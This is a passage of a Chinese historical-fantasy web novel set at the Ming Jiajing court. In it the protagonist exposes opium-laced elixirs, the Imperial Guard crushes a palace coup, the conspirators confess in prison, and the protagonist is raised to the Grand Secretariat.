那个刚上任的锦衣卫指挥使?
他什么时候调动的锦衣卫?
难道……他早有准备?
坛上,嘉靖听了苏惟瑾的话,连连点头:“苏爱卿安排得妥当。”
“郭爱卿,你且坐下,区区小火,不必劳师动众。”
郭勋咬牙,重重坐下,椅子发出“嘎吱”一声响。
苏惟瑾朝嘉靖再行一礼,退到一旁。
经过鹤岑身边时,两人交换了一个眼神。
鹤岑微微点头,重新上前,高声道:“妖孽已退,仙光犹存——此乃上天昭示,陛下修行有成,功德无量!”
“仪式继续!”
鼓乐重新响起。
杨廷和坐在椅子上,手指无意识地掐着佛珠,指节发白。
他抬头,看向法坛上的苏惟瑾。
那个年轻人垂手而立,面色平静,仿佛刚才只是说了句无关紧要的话。
可杨廷和却觉得,一股寒意,正从脚底慢慢爬上来。
永寿宫火情被苏惟瑾轻易化解,郭勋调兵企图被当场扼杀,杨廷和第一次感到计划可能泄露。
然而这才是开始——邵元节进献的金丹即将在“仙丹赐福”环节由嘉靖赐予百官,若药效不对,邵元节必会察觉?
城外的“私兵”和城内的家丁正在集结,周大山能否全部按住?
更关键的是,嘉靖服下的“清心丹”药效即将发作,这位皇帝在祭坛上究竟会出现什么反应?
所有矛盾都集中在接下来的环节,真正的较量,才刚刚开始!
第359章 金丹变清心,元节露马脚
法坛上的白烟渐渐散了,那团“仙光”也消失无踪,可嘉靖脸上的兴奋劲儿还没退。
他搓着手,眼睛发亮,一个劲儿问鹤岑:“国师,方才那仙光……真是上苍显圣?”
鹤岑捻着念珠,不慌不忙:“陛下至诚感天,故有祥瑞。”
“此乃吉兆,预示着陛下修行精进,长生可期。”
这话说得嘉靖心花怒放,连连点头:“好!好!赏!重赏国师!”
坛下百官也跟着附和,一时间颂扬声四起。
只有杨廷和坐在那儿,脸色阴沉得能滴出水来。
他手里那串佛珠捻得飞快,指节都泛白了——火情没搅乱仪式,反而成了鹤岑的垫脚石,这让他心头那股不祥的预感越来越重。
仪式继续往下走。
接下来是“仙丹赐福”环节。
按照流程,邵元节要献上金丹,由嘉靖亲自赐给几位有功之臣——其实就是走个形式,那丹最后还是会回到皇帝手里,做个“君臣同沐仙恩”的样子。
邵元节整了整道袍,从旁边小道童手里接过一个玉盘。
盘里铺着红绸,上头整整齐齐摆着三枚金丹。
那丹在阳光下泛着诡异的暗红色光泽,表面像是涂了层油,还隐隐有点荧光——这是邵元节的独家秘方,在丹衣里掺了磨碎的夜明珠粉和几味矿物颜料,看着就仙气飘飘。
他深吸口气,端着玉盘上前,走到嘉靖面前三步处站定,清了清嗓子,朗声道:
“陛下!此丹乃臣以三昧真火,采东方甲乙木之精、南方丙丁火之华、西方庚辛金之魄、北方壬癸水之灵、中央戊己土之厚,合以七七四十九味仙草,经九转八十一炼而成!”
“服之可通仙缘,延寿百年!”
话说得漂亮,声音也洪亮,一下子把全场的注意力都吸引过去了。
嘉靖眼睛盯着那金丹,喉结动了动。
他早上服过一枚,这会儿药劲差不多过了,正觉得心里空落落的,烦躁得很。
见着金丹,那股渴求又上来了。
邵元节见状,心中暗喜,双手托起玉盘,就要跪献。
“且慢。”
一个声音突然响起,不高,却清清楚楚。
邵元节手一抖,差点把盘子摔了。
他抬眼看去,说话的是苏惟瑾——那个青衣翰林不知什么时候又上前了几步,此刻正站在鹤岑身侧,面色平静地看着他。
“苏大人,”邵元节强压住心头火气,挤出一丝笑,“有何指教?”
苏惟瑾不答他的话,反而转向嘉靖,躬身道:“陛下,臣有一事不明,想请教邵真人。”
嘉靖正等着服丹呢,被打断了有点不高兴,可苏惟瑾刚立了功,他也不好发作,只摆摆手:“说吧。”
“谢陛下。”苏惟瑾直起身,看向邵元节,语气平淡得像在聊家常,“邵真人,陛下近日服用金丹后,是否常感心悸、盗汗,夜间辗转难眠,白日里时而精神亢奋,时而又萎靡不振?”
“且……偶尔会出现幻视幻听,仿佛眼前有人影晃动,耳畔有异声?”
他每说一句,邵元节的脸色就白一分。
等说到“幻视幻听”时,邵元节额头已经见汗了。
他强笑道:“苏大人说笑了,金丹乃仙家之物,服之只有裨益,怎会有这些症状?”
“陛下龙体康健,乃是万民之福……”
“是吗?”苏惟瑾打断他,从袖中取出一本薄册——正是那本《无灵根修仙法》。
他翻开其中一页,朗声念道:“‘外丹辅修,需辨真伪。真丹者,采天地正气,服之神清气爽,百脉通畅;伪丹者,掺金石秽物,服之耗损精元,贻害无穷。’”
他把书册合上,看向嘉靖:“陛下,臣近日研读仙书,愈发觉着……金丹之道,恐有蹊跷。”
“方才观陛下龙颜,虽精神尚可,但眼底隐有青黑,印堂晦暗,此乃精元损耗之兆。”
“臣斗胆——请验此丹!”
最后四个字,掷地有声。
坛上坛下,一片死寂。
验丹?验仙丹?
这……这可是从未有过的事!
邵元节的脸彻底白了,他噗通跪倒在地,声音都变了调:“陛下!万万不可啊!”
“金丹乃仙家之物,岂容凡俗之法亵渎!”
“此乃对上天不敬,对仙道不尊啊!”
他越是拦着,嘉靖的疑心就越重。
这位皇帝虽然沉迷修仙,可对自己的身体还是在意的。
苏惟瑾说的那些症状——心悸、盗汗、失眠、幻视幻听……他全中!
而且越来越严重!
以前他只当是修行必经的“磨难”,可如今听苏惟瑾这么一说,再联想那本仙书里的警示……
“验!”嘉靖一咬牙,下了决心,“苏爱卿,你说如何验?”
苏惟瑾拱手:“臣有一法,乃从古方中化来。”
“取少许丹粉,以银针探之,若丹中有秽物,银针变黑;再将丹粉投入醋酒之中,若有毒,则生泡沫。”
他说得简单,可这都是超频大脑里储存的现代化学知识——银针遇硫化物、汞化物会变黑;罂粟膏里的生物碱遇酸会产生气泡反应。
这些方法虽简陋,可对付这个时代的“仙丹”,足够了。
邵元节跪在地上,浑身发抖:“陛下!陛下明鉴啊!”
“此丹绝无问题!定是有人陷害!”
“苏惟瑾他……他定是嫉妒臣得陛下信任,故出此毒计!”
“是不是陷害,一验便知。”苏惟瑾不为所动,从怀中取出一个小布包,打开,里头是几根银针,还有个小瓷瓶。
他走到邵元节面前,蹲下身,从玉盘中取出一枚金丹。
那丹在他手里掂了掂,暗红色的表面在阳光下泛着诡异的光。
“邵真人,得罪了。”
说罢,他拿起一根银针,轻轻刺入金丹。
针尖没入约半寸,停留片刻,拔出。
所有人的眼睛都盯着那针尖。
针尖是黑的。
不是沾染了丹粉的那种黑,而是从里到外透出来的乌黑,像是被什么腐蚀过一样。
“哗——”
坛下百官一片哗然!
银针验毒,这是老法子,谁都知道——针变黑,就是有毒!
邵元节瘫坐在地,嘴唇哆嗦着,却说不出话来。
苏惟瑾不看他,又打开那小瓷瓶,倒出些醋酒在一个白瓷碗里——这是事先准备好的,醋里掺了少量烧酒,增强酸性。
他又从金丹上刮下些粉末,撒进碗中。
粉末入酒,立刻泛起泡沫!
白色的泡沫越来越多,咕嘟咕嘟往上冒,像是煮沸了一样!
“这……这是剧毒之物啊!”有老臣失声惊呼。
嘉靖的脸瞬间铁青。
他猛地站起身,指着邵元节,手指都在颤抖:“你……你这妖道!竟敢以毒丹谋害朕?!”
“陛下!陛下明鉴啊!”邵元节连滚带爬地扑到嘉靖脚下,抱住他的腿,“臣冤枉!”
“定是有人调换了金丹!臣炼的丹绝无问题!”
“是苏惟瑾!一定是他陷害臣!”
“陷害?”苏惟瑾冷笑一声,站起身,拍了拍手上的粉末,“是不是陷害,搜一搜邵真人的丹房,便知分晓。”
他看向坛下,朗声道:“周指挥使!”
周大山早就候着了,闻言大步上前,抱拳道:“末将在!”
“你带人去钦安殿丹房,仔细搜查!一应物事,全部带回!”
“遵命!”
周大山一挥手,早就准备好的锦衣卫立刻分成两队,一队留在现场警戒,另一队跟着他,如狼似虎地朝钦安殿方向扑去。
法坛上一片混乱。
嘉靖气得浑身发抖,几个太监连忙扶着他坐下,又是顺气又是递水。
邵元节瘫在地上,面如死灰,嘴里还在喃喃:“冤枉……臣冤枉……”
杨廷和坐在下头,手心里全是汗。
他知道,大事不好了。
金丹有毒这事一旦坐实,邵元节必死无疑。
而邵元节一旦开口,牵扯出来的就不止是炼丹的事了……
不能留在这里!
他悄悄站起身,往后退了几步,想趁乱溜走。
坛上坛下都乱糟糟的,应该没人注意到他。
可就在他转身要走的刹那——
“杨老先生留步。”
苏惟瑾的声音又响起来了,不高,却像钉子一样把他钉在原地。
杨廷和身子一僵,缓缓转过身。
苏惟瑾站在法坛边缘,居高临下地看着他,脸上带着一丝似笑非笑的表情:“杨老先生德高望重,是三朝元老。”
“如今此事关乎陛下龙体安危,您老……不妨一同见证?”
“也好替陛下,替朝廷,把把关。”
话音未落,几名锦衣卫已经无声无息地围了上来,封住了他的去路。
杨廷和看着那几个面无表情的锦衣卫,又看看坛上那个青衣年轻人,心头一片冰凉。
他忽然明白了。
今日这局,从一开始,就不是他们给苏惟瑾设的。
是苏惟瑾,给他们所有人,设了一个天大的局。
金丹有毒当众坐实,邵元节彻底垮台,杨廷和被困法坛。
周大山带人搜查丹房,即将带回的证据会牵扯出多少人?
邵元节在绝境中会否咬出杨廷和、张太后?
更关键的是——嘉靖皇帝此刻怒极攻心,加上长期服用毒丹的身体隐患,能否撑到真相大白?
而城外私兵、城内家丁见计划生变,是否会狗急跳墙,提前发动武力夺宫?
风暴眼骤然收缩,真正的生死较量,就在接下来的一炷香内!
第360章 坛下伏兵起,瑾智破杀局
法坛上死寂得吓人。
邵元节瘫在地上像摊烂泥,面如死灰,嘴里只会喃喃“冤枉”两个字。
杨廷和被几个锦衣卫围着,站也不是坐也不是,手里那串佛珠捻得飞快,指节都泛白了。
坛下百官个个屏着呼吸,眼珠子在杨廷和、邵元节、苏惟瑾三人身上来回转,心里头都在打鼓——这冬至大典,要出大事了!
嘉靖皇帝坐在龙椅上,胸口一起一伏,显然是气狠了。
他指着邵元节,手指抖了半天才憋出一句:“拖……拖下去!严加审问!”
几个太监刚要上前,变故陡生。
“清君侧!诛妖道!”
一声暴喝从武官队列里炸开。
众人还没反应过来,只见十来个勋贵子弟“唰”地站起身,手里不知从哪儿抽出明晃晃的短刃,嗷嗷叫着就往法坛上冲!
打头的是个黑脸汉子,是郭勋的侄儿郭彪,平日里在京城就是个横着走的主,此刻瞪着眼珠子,一副拼命的架势。
“护驾!护驾!”太监尖着嗓子喊。
文官队列顿时炸了锅。
那些老臣吓得腿软,有的往桌子底下钻,有的抱头鼠窜。
武官里倒是有几个拔刀的,可更多的人却在观望——手按在刀柄上,眼睛却瞟向郭勋、张璁那边。
郭勋这会儿站起来了。
这位武定侯一把扯开身上的蟒袍,露出里头一身锁子甲,腰间的宝剑“锵啷”出鞘。
他大步走到队列前,声如洪钟:“诸位!陛下被妖道蒙蔽,龙体受损!”
“今日我等清君侧、正朝纲,乃是为国除害!”
“愿随本侯者,共诛奸佞!”
话音未落,宫墙外头突然传来震天的喊杀声!
那声音由远及近,像是潮水拍岸,越来越响。
紧接着,东华门、西华门、玄武门几个方向,同时冒起黑烟——那是火攻的信号!
城内好几处也蹿起火苗,隐约能听见百姓的惊叫、家丁的呼喝。
乱了。
奉天殿前彻底乱了。
嘉靖吓得“飞升杆”都掉了,滚到坛边也没人管。
他脸色煞白,抓着龙椅扶手,嘴唇直哆嗦。
鹤岑国师一个箭步挡在他身前,手里拂尘横握,眼神凌厉。
可苏惟瑾却笑了。
他站在那儿,青色官袍在寒风里微微飘动,脸上非但没有惊慌,反而露出一丝“终于来了”的从容。
他侧过头,对一直按刀肃立的周大山点了点头。
周大山会意,猛地抽出腰间绣春刀,刀身在冬日阳光下划过一道寒光。
他深吸一口气,胸腔鼓起,然后一声暴喝,声震全场:
“锦衣卫——护驾!!!”
这声吼像惊雷劈进乱局。
下一刻,让所有人目瞪口呆的一幕发生了。
只听“轰隆”一阵闷响,法坛四周那些绣着八卦云纹的黄色帷幕,齐刷刷向两侧倒下!
帷幕后头,黑压压全是人!
全是锦衣卫!
清一色的飞鱼服,清一色的绣春刀,刀出鞘、弓上弦,怕是有四五百号人!
这些人不知什么时候埋伏在那儿的,一个个面色冷峻,眼神如刀,瞬间就把冲上法坛的那十来个勋贵子弟反包围了!
郭彪冲在最前头,眼看就要踏上台阶,突然眼前一花,三把绣春刀已经架到了脖子上。
他还没反应过来,膝盖窝就挨了两脚,“噗通”跪倒在地。
后面那些跟风的更惨,被锦衣卫像抓小鸡似的,一个个按翻在地,刀刃抵着后颈,动都不敢动。
郭勋脸上的得意僵住了。
他手里的宝剑还举在半空,可整个人像被施了定身法,眼睁睁看着自己安排的内应,在不到三息的时间里全成了阶下囚。
苏惟瑾这时候往前踏了一步。
这一步踏得从容,踏得稳当,踏得全场目光都聚焦在他身上。
他看向郭勋,又看向面如土色的张璁,声音清朗,字字清晰:
“武定侯郭勋!礼部侍郎张璁!尔等勾结致仕罪臣杨廷和,私蓄甲兵,阴谋弑君,意图颠覆朝纲——证据确凿,铁案如山!”
“还敢当众作乱?”
他每说一句,郭勋的脸色就白一分。
“锦衣卫!”苏惟瑾一声令下,“拿下逆贼!”
“遵命!”
周大山第一个冲了上去。
这位新任指挥使像头下山猛虎,几步就跨到郭勋面前。
郭勋到底是武将出身,虽惊不乱,咬牙挥剑就砍。
可周大山的刀更快——不是劈,不是刺,是撩!
“铛!”
刀剑相击,火星四溅。
郭勋只觉得虎口一麻,宝剑差点脱手。
他心头大骇,想要变招,可周大山的第二刀已经到了。
这一刀更刁钻,贴着剑身往上一挑,正中郭勋手腕!
“啊!”郭勋痛呼一声,宝剑脱手飞起,在空中转了几圈,“哐当”掉在青石板上。
周大山顺势一脚踹在他腿弯,郭勋“噗通”跪倒,两个锦衣卫立刻扑上来,麻利地捆了个结实。
另一边,张璁早吓傻了。
这位靠“大礼议”起家的侍郎,平日里耍嘴皮子、写青词是一把好手,哪见过真刀真枪的阵仗?
他腿一软,直接瘫坐在地,裤子都湿了一片,嘴里只会喊:“冤枉……下官冤枉啊……都是郭勋逼我的……”
苏惟瑾看都不看他,只对周大山道:“城门那边如何?”
周大山咧嘴一笑,抹了把脸上的汗:“公子放心!通州卫、大兴卫、良乡卫那三千多人,刚靠近城门就被神机营的火铳队迎头痛击!”
“死伤少说五六百,剩下的全溃了!”
“京营的弟兄正在追剿残敌,跑不了几个!”
他顿了顿,又补了句:“城里头那些勋贵家丁更不成气候。”
“苏惟奇带着五城兵马司的衙役,分头镇压,这会儿差不多也该收拾干净了。”
这话声音不大,可坛上坛下的人都听见了。
杨廷和身子晃了晃,要不是旁边锦衣卫架着,怕是要栽倒在地。
他老脸惨白,嘴唇哆嗦着,却一个字也说不出来。
完了。
全完了。
精心策划大半年的政变,调动了这么多人,布置了这么多后手,原以为万无一失……结果在人家眼里,就是个笑话!
不到半个时辰。
从郭彪喊出“清君侧”到现在,连半个时辰都不到,一场足以颠覆江山的大乱,就这么被轻描淡写地扑灭了。
坛下那些原本观望的武官,这会儿全都跪下了,头磕得砰砰响:“陛下圣明!苏大人英明!臣等誓死效忠!”
嘉靖皇帝这会儿才缓过劲来。
他推开鹤岑,颤巍巍站起身,看着坛下黑压压跪倒一片的臣子,又看看被捆成粽子的郭勋、瘫软如泥的张璁,最后目光落在苏惟瑾身上。
“苏……苏爱卿……”他声音还有些发颤,“今日之事,多亏有你……”
苏惟瑾躬身:“此乃臣分内之事。”
“逆贼虽已伏诛,但幕后主使尚未尽数落网。”
“臣请陛下下旨,彻查此案,务求水落石出!”
“准!准!”嘉靖连声道,“此案由你全权负责!一应人犯,严加审讯,绝不姑息!”
正说着,坛下又传来动静。
几个锦衣卫押着一个人上来了。
那人穿着普通家丁的衣裳,脸上抹了灰,可仔细看眉眼——不是杨慎是谁?
这位本该在云南的杨大才子,不知什么时候潜回了京城,混在郭勋的家丁队伍里,本想趁乱逃出宫门,却被早就盯着的锦衣卫逮了个正着。
杨廷和看见儿子,整个人像被抽了魂。
他老泪纵横,仰天长叹:“天不助我……天不助我杨家啊!”
苏惟瑾走到他面前,静静看了他片刻,才淡淡道:“杨老先生,非是天不助你。”
他顿了顿,声音很轻,却像重锤砸在杨廷和心上:
“是多行不义,必自毙。”
杨廷和浑身一震,死死盯着苏惟瑾,那双老眼里有不甘,有怨恨,更多的却是彻底的绝望。
他终于明白,从苏惟瑾回京献瑞的那一刻起,不,从更早的时候起,他们所有人,就都已经在人家棋盘上了。
坛上的风更冷了。
雪虽然停了,可天色依旧阴沉。
奉天殿前的血腥气混着烟火味,在空气里弥漫。
锦衣卫开始打扫战场,押解人犯,收缴兵器。
百官战战兢兢重新列队,可再没人敢多说一个字。
嘉靖重新坐回龙椅,手里不知被谁又塞了根“飞升杆”。
他深深吸了一口,烟气入肺,脸色才稍微好看了些。
苏惟瑾站在坛边,望着远处宫墙上还未散尽的黑烟,眼神深邃。
这一局,赢了。
可他知道,棋还没下完。
那个在永寿宫里“称病”的老太后,那个至今还未露面的真正幕后……
风暴眼,只是暂时平静了。
杨廷和父子、郭勋、张璁等明面上的反派一网打尽,冬至政变被彻底粉碎。
然而真正的幕后黑手张太后仍稳坐永寿宫,她手中还掌握着多少底牌?
嘉靖皇帝经此惊吓,对“飞升杆”的依赖是否会变本加厉?
更关键的是——苏惟瑾今日展露的雷霆手段和掌控力,是否会引来皇帝的猜忌?
飞鸟尽,良弓藏;狡兔死,走狗烹。
这场大胜之后,等待苏惟瑾的,是更大的权柄,还是……更深的陷阱?
第361章 冷宫锁太后,狱中审元凶
第361章冷宫锁太后,狱中审元凶
永寿宫的暖阁里,炭火烧得正旺。
张太后歪在贵妃榻上,身上裹着件狐皮大氅,手里捧着个鎏金手炉。
她今年五十多了,保养得极好,脸上没多少皱纹,只是眼皮有些松,看人时习惯微微眯着,带着股子居高临下的劲儿。
榻边跪着两个小宫女,一个给她捶腿,一个给她剥橘子。
外头的喊杀声,她听见了。
先是隐隐约约,后来渐渐大了,又渐渐小了。
她没动,甚至连眼皮都没抬一下。
端起茶盏抿了一口,是上好的雨前龙井,入口微苦,回味甘甜。
“太后,”贴身嬷嬷凑过来,低声禀报,“外头……好像消停了。”
张太后“嗯”了一声,把茶盏放下:“郭勋那人,看着膀大腰圆,办事却不牢靠。”
“这么点事,闹出这么大动静。”
嬷嬷不敢接话,只垂着头。
正说着,外头传来脚步声。
很整齐,很沉,不是太监那种轻飘飘的步子。
张太后眉头微皱,抬眼看去。
暖阁的门被推开了。
当先进来的是周大山,一身飞鱼服沾着血迹,手里按着绣春刀,眼神冷得像冰。
他侧身让开,后头走进来个人——青衣官袍,面容清俊,正是苏惟瑾。
张太后的脸色沉了下来。
“苏惟瑾,”她坐直身子,声音里带着惯有的威严,“你一个外臣,擅闯哀家寝宫,该当何罪?”
苏惟瑾不慌不忙,躬身行了一礼:“臣苏惟瑾,奉旨查办谋逆大案。”
“案情涉及永寿宫,故特来请太后配合调查。”
“放肆!”张太后一拍榻沿,“哀家是太后!先帝嫡妻!你敢拿查案来压哀家?”
苏惟瑾直起身,从袖中取出一封信。
信纸已经有些旧了,边角泛黄,可上头那笔娟秀的小楷,张太后一眼就认出来了——是她自己的字!
“这是从邵元节丹房搜出的密信,”苏惟瑾展开信纸,朗声念道,“‘事成之后,当尊杨公为摄政,总揽朝纲。’”
“‘哀家垂帘,共安天下。’落款是永寿宫张氏,还盖了太后的私印。”
他念一句,张太后的脸就白一分。
“太后勾结外臣杨廷和,承诺事成后尊其为摄政公;又指使邵元节以金丹毒害陛下龙体;更暗中联络郭勋、张璁等人,策划冬至政变,意图废帝另立。”苏惟瑾收起信纸,目光平静地看着她。
“按《大明律》,谋逆大罪,虽太后亦不得免。”
“臣请太后移居冷宫,静思己过,等候发落。”
“你……你血口喷人!”张太后气得浑身发抖,指着苏惟瑾,“那信是伪造的!定是你们陷害哀家!”
“是不是伪造,太后心里清楚。”苏惟瑾不为所动,“除了这封信,邵元节、杨廷和、郭勋等人的供词都已齐全,人证物证俱在。”
“太后若觉得冤枉,待三司会审时,自有分辩的机会。”
他侧身让开一步:“请吧。”
周大山上前,一挥手,两个锦衣卫就要上前搀扶。
“滚开!”张太后尖声喝道,她挣扎着站起来,狐皮大氅滑落在地,“哀家自己走!”
她挺直腰板,一步一步往外走。
走到门口时,回头看了苏惟瑾一眼,那眼神里满是怨毒:“苏惟瑾,你以为扳倒了哀家,就能高枕无忧?”
“别忘了,这宫里宫外,想让你死的人,多了去了!”
苏惟瑾躬身:“臣谨记太后教诲。”
张太后冷哼一声,拂袖而去。
两个宫女想要跟上去,被锦衣卫拦住了。
嬷嬷瘫坐在地,呜呜地哭起来。
暖阁里一下子空了。
炭火还在烧着,噼啪作响。
诏狱最深处的囚室,连个窗户都没有。
杨廷和坐在草堆上,身上的锦袍已经脏得不成样子,头发也散了,花白的发丝黏在脸上。
他闭着眼,手里那串佛珠早不知丢哪儿去了,只是手指还在无意识地捻着,像是习惯。
铁门哐当一声开了。
苏惟瑾走进来,身后跟着个书记官,捧着纸笔。
他在杨廷和对面坐下,中间隔着一张破木桌。
“杨老先生,”苏惟瑾开口,“事到如今,还有什么想说的吗?”
杨廷和睁开眼,看了他片刻,忽然笑了:“成王败寇,老夫无话可说。”
“要杀要剐,悉听尊便。”
“杀肯定是要杀的,”苏惟瑾点点头,“但怎么杀,诛几族,牵连多少人——这些,老先生可以说说。”
他顿了顿:“把该交代的交代清楚,或许……还能给杨家留条根。”
杨廷和瞳孔一缩。
留条根……
他沉默了很久,久到书记官手里的笔都快拿不稳了。
“从哪儿说起呢……”杨廷和终于开口,声音嘶哑,“就从……云南开始吧。”
他像是认命了,也像是憋了太久,需要找个人倾诉。
从杨慎被贬云南说起,说到如何在那边结识土司,如何发现罂粟的妙用,如何秘密种植、提炼、运往京城;又说到如何联络邵元节,以炼丹为名在金丹中掺入罂粟膏,一步步控制嘉靖皇帝;再说到如何勾结张太后,许以垂帘听政之诺;最后说到如何拉拢郭勋等勋贵,策划冬至政变……
一桩桩,一件件。
有些细节连书记官都听得毛骨悚然——比如为了测试罂粟膏的剂量,他们曾在京郊抓过几个流民试药,结果有人发狂而死;比如邵元节炼丹用的朱砂、水银,都是特选的剧毒矿物;比如他们原计划在政变成功后,将朝中所有非杨派官员全部清洗,空出的位置安插自己人……
苏惟瑾静静听着,超频大脑飞速运转,将这些供词与之前掌握的证据一一核对、验证、补充。
偶尔会问一两个问题,都切中要害,让杨廷和避无可避。
说到最后,杨廷和突然顿了顿。
“还有一事……”他犹豫了一下,“杨慎在云南,还结识了一伙人。”
“他们自称‘前朝遗族’,精通……邪术。”
“能以罂粟操控人心,还能用些古怪的仪式,让人产生幻觉,甚至听命于他们。”
苏惟瑾眼神一凛:“黑巫师?”
杨廷和惊讶地看了他一眼:“你……你知道?”
“打过交道。”苏惟瑾淡淡道,“在广西,在广州。”
他心中豁然开朗。
之前那些零散的线索——广西的“勇武膏”、广州的黑市交易、宫中的金丹毒害——终于连成了一条完整的线。
原来这一切的背后,都有这群“黑巫师”的影子!
“老夫原想,等事成之后,借他们之力清洗朝堂……”杨廷和苦笑,“没想到,成了他们的棋子。”
苏惟瑾没接话,只是示意书记官记下。
供词录完,足足写了三十多页纸。
杨廷和按了手印,整个人像是被抽空了,瘫在草堆上,眼神空洞地望着屋顶。
“苏惟瑾,”他忽然开口,“老夫最后问你一句——你是什么时候开始怀疑的?”
苏惟瑾站起身,走到门口,回头看了他一眼。
“从你儿子杨慎被贬云南,却还能年年往京城送重礼开始。”他顿了顿,“一个流放犯官,哪来的那么多银子?除非……他在那边,有别的营生。”
铁门关上,隔绝了杨廷和最后的叹息。
乾清宫西暖阁里,嘉靖皇帝正经历着生不如死的折磨。
他蜷缩在龙床上,身上盖着三层锦被,可还是冷得直哆嗦。
额头上全是冷汗,鼻涕眼泪糊了一脸,哪还有半点天子的威仪。
喉咙里发出“嗬嗬”的怪响,像是破风箱。
“药……给朕药……”他伸出手,在空中乱抓。
旁边侍立的太医、太监都跪在地上,头也不敢抬。
谁敢给他“药”?
那金丹现在可是谋逆的证物!
苏惟瑾进来时,看到的就是这副景象。
他上前,从怀中取出一个小瓷瓶,倒出一粒淡绿色的药丸,递给旁边的太监:“温水送服。”
太监犹豫着看向嘉靖。
嘉靖却像是看见了救命稻草,一把抢过药丸,连水都不用,直接吞了下去。
药丸入腹,约莫半刻钟后,他剧烈的颤抖渐渐平息,呼吸也顺畅了些。
“这……这是什么药?”嘉靖虚弱地问。
“这是臣按《无灵根修仙法》中所载方子,以灵芝、茯苓、远志等药材配制的‘清心丹’。”苏惟瑾躬身道,“可解罂粟之毒,调理龙体。”
嘉靖靠在枕头上,缓了好一会儿,眼中渐渐有了神采。
他看向苏惟瑾手中那叠供词,声音沙哑:“都……招了?”
“全招了。”苏惟瑾将供词呈上,“主谋杨廷和、杨慎父子,从犯邵元节、郭勋、张璁,幕后指使张太后……一应罪状,皆已核实。”
嘉靖越看脸色越青,最后狠狠将供词摔在地上:“逆贼!统统凌迟!诛九族!”
苏惟瑾等他发完火,才缓缓开口:“陛下息怒。首恶当诛,但此案牵连甚广,若真诛九族,朝堂恐为之空。”
“臣建议,杨廷和、杨慎、邵元节、郭勋、张璁等主犯处死;其余从犯,依律论处;其家眷……可酌情流放,以显陛下仁德。”
他顿了顿,又道:“还有一事——锦衣卫前指挥使陆炳,实是遭杨廷和等人陷害。”
“其妹陆清晏已在狱中‘病故’,陆家如今只剩几个女眷。”
“臣恳请陛下,赦免陆家余眷。”
嘉靖这会儿对苏惟瑾是言听计从,闻言连连点头:“准!都准!苏爱卿,此事全权交你处置!”
“臣遵旨。”
走出乾清宫时,天已经黑了。
苏惟瑾站在台阶上,望着宫墙外头的万家灯火。
周大山跟上来,低声道:“公子,名单都拟好了。”
他递上一份名录。
上头是杨廷和、郭勋等派系的官员,共一百三十七人。
有的要罢免,有的要调任,空出来的位置,都填上了苏惟瑾考察过的人——有寒门出身的实干派,有保持中立的老臣,也有周大山提拔的锦衣卫亲信。
朝堂格局,从今夜起,要彻底变天了。
“按计划办吧。”苏惟瑾轻声道。
他抬头,望向南方。
云南……黑巫师……
这条线,还没完。
杨廷和一党彻底覆灭,朝堂大清洗完成,苏惟瑾权柄日重。
然而黑巫师这条暗线浮出水面,这群“前朝遗族”究竟是何来历?
他们在云南经营多年,手中还掌握着多少势力?
更关键的是——苏惟瑾今日展露的手段太过惊人,嘉靖皇帝现在倚重他,可等戒断反应过去、神智清醒后,会不会对这位“算无遗策”的臣子心生忌惮?
飞鸟未尽,良弓已显;
狡兔刚死,走狗……
第362章 瑾入文渊阁,廿二岁首辅
冬至政变平定后的第七天,大朝会。
奉天殿里黑压压站满了人,文东武西,从一品大员到七品给事中,一个不落。
可今儿个的气氛却怪得很——没人交头接耳,没人咳嗽清嗓,连呼吸声都压得低低的。
所有人的眼珠子,都偷偷往最前头那个青色身影上瞟。
苏惟瑾站在文官队列的第三排。
按品级,他一个正六品的翰林院侍读学士,本该站在中后头。
可今儿个,礼部的官员特意把他引到了前头,紧挨着几位侍郎。
这意思,明眼人都懂。
辰时正,净鞭三响。
“陛下驾到——”
太监尖细的嗓音在殿里回荡。
嘉靖皇帝从后殿走出来,坐上龙椅。
他今天脸色好了不少,虽还有些苍白,可眼神清明,腰板也直了。
身上穿的是龙袍,不是道袍,手里也没拿那根“飞升杆”。
“吾皇万岁万岁万万岁!”
百官跪倒,山呼声震得殿梁上的灰尘簌簌往下落。
“平身。”嘉靖抬了抬手,声音还有些虚,可底气足了。
等百官重新站好,司礼监掌印太监黄锦上前一步,展开手中的黄绫圣旨,朗声念道:
“奉天承运皇帝,诏曰:冬至逆案,祸乱朝纲,幸赖忠臣良将,奋不顾身,定策平乱,保全社稷。”
“今论功行赏,以彰其德——”
殿里静得能听见心跳声。
“钦安殿真人鹤岑,护驾有功,加封‘护国真人’,赐金印、紫绶,岁禄加五百石!”
鹤岑出列,躬身谢恩。
老道士今天换了身崭新的杏黄法衣,手持玉如意,仙风道骨。
“锦衣卫指挥使周大山,擒贼平乱,忠勇可嘉,即日起实授锦衣卫指挥使,掌北镇抚司,赐飞鱼服、绣春刀,岁禄加三百石!”
周大山大步出列,单膝跪地,声如洪钟:“臣,谢主隆恩!”
他今天特意刮了胡子,飞鱼服穿得笔挺,往那儿一跪,虎背熊腰,气势逼人。
念到这儿,黄锦顿了顿,抬眼扫了下百官,才继续念:
“翰林院侍读学士苏惟瑾——”
所有人的耳朵都竖起来了。
“定策于未乱之时,平乱于既发之际,更献祥瑞、揭奸佞、护圣驾,功在社稷,才冠古今。”
“特加封太子少保、文渊阁大学士,入阁参政,赐绯袍、玉带,岁禄加八百石!钦此——”
静。
死一般的寂静。
然后,“轰”的一声,殿里炸了锅。
太子少保!那是从一品的荣衔,通常只加给德高望重的老臣!
文渊阁大学士!入阁参政!那是实实在在的宰相权柄!
二十二岁!寒门出身!连中三元的状元!
大明开国一百六十年,从未有过这样的事!
“陛下!”一个老臣忍不住出列,噗通跪倒,声音发颤,“苏惟瑾虽有大功,然年仅廿二,资历尚浅,骤登内阁高位,恐……恐非国家之福啊!”
有人带头,立刻又有几个御史、给事中站出来:
“臣附议!内阁乃朝廷中枢,非德高望重者不能居之!”
“苏惟瑾年轻气盛,骤然秉政,恐生骄恣!”
“还请陛下三思!”
反对的声音此起彼伏,有些是真觉得不合规矩,有些是眼红,还有些……是怕。
怕这个年轻人进了内阁,会打破朝堂原有的平衡,会动了他们的奶酪。
嘉靖坐在龙椅上,脸上没什么表情。
等反对声渐渐小了,他才缓缓开口:
“诸位爱卿的意思,朕明白。”
他顿了顿,目光扫过下头那些跪着的老臣:“可非常之时,当用非常之人。”
“苏卿有定策平乱之功,更有经天纬地之才——这点,诸位有目共睹。”
他身子微微前倾,声音重了几分:“更何况,苏卿精研仙道,与朕志同道合。”
“入阁之后,正好辅佐朕修行,共求长生。”
这话一说,反对的人都噎住了。
皇帝把“修仙”都搬出来了,谁还敢反对?
